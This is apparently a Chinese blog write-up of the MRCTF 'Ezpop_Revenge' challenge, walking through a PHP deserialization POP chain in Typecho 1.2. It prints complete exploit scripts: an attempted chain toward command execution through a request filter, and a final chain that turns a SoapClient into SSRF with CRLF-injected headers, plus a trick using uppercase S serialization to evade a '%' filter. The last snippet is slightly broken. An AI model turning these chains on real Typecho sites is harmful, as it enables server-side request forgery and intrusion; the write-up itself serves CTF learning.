MRCTF Ezpop_Revenge小记
前言
一道typecho1.2的反序列化,顺便记录一下踩的坑
www.zip获得源码,结构大致如下

flag.php需要ssrf,如果成功会写入session

拿到源码直接去网上先找了一下有没有现成的payload(懒,
找到一篇类似的
https://p0sec.net/index.php/archives/114/
但是入口点是install.php,而源码里的install.php已经被删掉了,全局搜索一下:

路径为usr/plugins/HelloWorld/Plugin.php

很明显这里就是反序列化的点了,但是这里是一个方法不能直接利用,然后鸽了半天,后来才知道有个定义的路由==
typecho\plugin.php下:
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
首先看到这里:

很明显的入口点,跟进Typecho_Db::__construct

然后这里有一个字符拼接,于是我就按照上面那文章的思路找__tostring (接下来是踩坑)
踩坑

Feed.php下的tostring的358行

并且跟不过去,那么就可以找__get
Request.php

跟进

跟进_applyFilter

value由this->_params['screenName']决定可控,$_filter也可控,rce??(嘴角疯狂上扬)
于是我构造了如下pop链:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
var_dump($this->coincidence);
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Feed
{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function __construct(){
$this->_items=array('author' => new Typecho_Request());
}
}
class Typecho_Request{
private $_filter=array();
private $_params=array();
public function __construct()
{
$this->_params['screenName'] = -1;
$this->_filter = array('phpinfo');
}
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));
然而这里函数过滤实在太多了,命令执行的函数几乎全过滤了,然后我就一直试,比赛结束也没试出来...(这个pop链貌似适用typecho1.1版本)
麻烦的解法(踩坑二)
后来我突然想到要是能rce为什么还有ssrf读flag....
好吧其实一开始__tostring我就找错了,应该找query.php这个跳板

可以看到如果$this->_sqlPreBuild['action']=SELECT就调用:
$this->_adapter->parseSelect($this->_sqlPreBuild)
然后令$this->_adapter为Soapclient实例,触发_call完成ssrf
调用链:
HelloWorld_DB::wakeup-->
Typecho_Db::__construct(tostring)-->
Typecho_Db_Query::__construct-->
(this->_adapter=new Soapclient)-->
ssrf
然后又是一个坑:
这里的成员变量大部分都是private的,而private有不可见字符需要用%00填充,而这里%是被过滤的:

然后就需要用\00来代替%00
这里有个知识点吧,以前没碰到过:
在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:"<length>":"<value>";
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。
普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";
看个例子

将不可见字符%00转化为十六进制,大S成功执行wakeup

小写s则失败

然后这里就需要将%统统转化为\,然后将标识字符串的s转化为S,这里用了颖奇师傅的方法:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
将字符串以:冒号打散为数组,然后遍历用$arr[$i]匹配每个00,如果$arr[$i-2]中有小s就替换为S,然后以:拼接,看下面这个例子就懂了

最终payload:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);
加上一个?admin=1即可

正解
我又傻了,这里的serialize会进行base64编码,然而解码出来是这样的:

根本就没有%号啊,那就不用替换了,所以直接:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}
}
serialize(new HelloWorld_DB());
echo base64_encode($a);

MRCTF Ezpop_Revenge小记的更多相关文章
- [原]Paste.deploy 与 WSGI, keystone 小记
Paste.deploy 与 WSGI, keystone 小记 名词解释: Paste.deploy 是一个WSGI工具包,用于更方便的管理WSGI应用, 可以通过配置文件,将WSGI应用加载起来. ...
- MySql 小记
MySql 简单 小记 以备查看 1.sql概述 1.什么是sql? 2.sql发展过程? 3.sql标准与方言的关系? 4.常用数据库? 5.MySql数据库安装? 2.关键概念 表结构----- ...
- Git小记
Git简~介 Git是一个分布式版本控制系统,其他的版本控制系统我只用过SVN,但用的时间不长.大家都知道,分布式的好处多多,而且分布式已经包含了集中式的几乎所有功能.Linus创造Git的传奇经历就 ...
- 广州PostgreSQL用户会技术交流会小记 2015-9-19
广州PostgreSQL用户会技术交流会小记 2015-9-19 今天去了广州PostgreSQL用户会组织的技术交流会 分别有两个session 第一个讲师介绍了他公司使用PostgreSQL-X2 ...
- 东哥读书小记 之 《MacTalk人生元编程》
一直以来的自我感觉:自己是个记性偏弱的人.反正从小读书就喜欢做笔记(可自己的字写得巨丑无比,尼玛不科学呀),抄书这事儿真的就常发生俺的身上. 因为那时经常要背诵课文之类,反正为了怕自己忘记, ...
- Paypal支付小记
Paypal支付小记 *:first-child { margin-top: 0 !important; } body>*:last-child { margin-bottom: 0 !impo ...
- linux 下cmake 编译 ,调用,调试 poco 1.6.0 小记
上篇文章 小记了: 关于 Poco::TCPServer框架 (windows 下使用的是 select模型) 学习笔记. http://www.cnblogs.com/bleachli/p/4352 ...
- mongodb入门学习小记
Mongodb 简单入门(个人学习小记) 1.安装并注册成服务:(示例) E:\DevTools\mongodb3.2.6\bin>mongod.exe --bind_ip 127.0.0.1 ...
- 【日常小记】统计后缀名为.cc、.c、.h的文件数【转】
转自:http://www.cnblogs.com/skynet/archive/2011/03/29/1998970.html 在项目开发时,有时候想知道源码文件中有多少后缀名为.cc..c..h的 ...
随机推荐
- 汉诺塔Java实现
public class Hanoi { public static void main(String[] args ) { Hanoi hanoi = new Hanoi(); hanoi.hano ...
- Java GC(垃圾回收)机制知识总结
目录 Java GC系列 Java关键术语 Java HotSpot 虚拟机 JVM体系结构 Java堆内存 启动Java垃圾回收 Java垃圾回收过程 垃圾回收中实例的终结 对象什么时候符合垃圾回收 ...
- 使用 keras 和 tfjs 构建血细胞分类模型
欢迎大家关注我们的网站和系列教程:http://www.tensorflownews.com/,学习更多的机器学习.深度学习的知识!
- 移植OPENNI到DM6446上面
为了利用摄像头的景深信息,同时利用dm6446的分析功能(dsp),对openNI进行USB移植. 下载:libusb-1.0.0.tar.bz2 OpenNI-Stable-1 ...
- Java序列化机制剖析
本文转载自longdick的博文<Java序列化算法透析>,原文地址:http://longdick.iteye.com Java序列化算法透析 Serialization(序列化)是一种 ...
- windows Sever 2012 远程提示:由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系。
远程windows Sever 2012 时候 远程提示:由于没有远程桌面授权服务器可以提供许可证,远程会话被中断.请跟服务器管理员联系. 原因: windows server可以多用户同时登陆,默认 ...
- mysql 5.7.18安装教程
安装之前 确认是否已安装旧版mysql.如有,则卸载(注意需要的数据备份). /etc/init.d/mysqld stop yum remove mysql mysql-* rm -rf /var/ ...
- Lisp-02: 函数
函数(functions) 在 Lisp 中,函数分两种:有名函数和匿名函数(lambda函数). 有名函数 defun 有名函数的标准定义格式为: (defun <name> (list ...
- 1049 Counting Ones (30分)
The task is simple: given any positive integer N, you are supposed to count the total number of 1's ...
- 1020 Tree Traversals (25 分)
Suppose that all the keys in a binary tree are distinct positive integers. Given the postorder and i ...